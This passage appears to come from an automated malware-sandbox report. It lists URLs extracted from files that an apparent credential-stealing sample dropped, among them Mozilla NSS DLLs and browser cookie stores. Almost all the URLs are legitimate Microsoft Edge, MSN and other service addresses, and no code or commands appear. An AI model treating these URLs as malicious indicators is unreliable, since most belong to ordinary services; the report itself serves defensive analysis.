Source: 000003.log2.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log1.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log1.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_445.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_445.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_445.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_445.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: JKJEHJKJEBGHJJKEBGIE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10K
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log10.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log4.9.dr, 000003.log7.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log4.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log4.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376277518742850.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_445.6.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_447.6.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_447.6.dr	String found in binary or memory: https://plus.googleapis.com
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BFBGDGIDBAAEBFHJKJDGCGCGDG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 2c813e2d-6d01-4ae1-96dd-68b83664180a.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
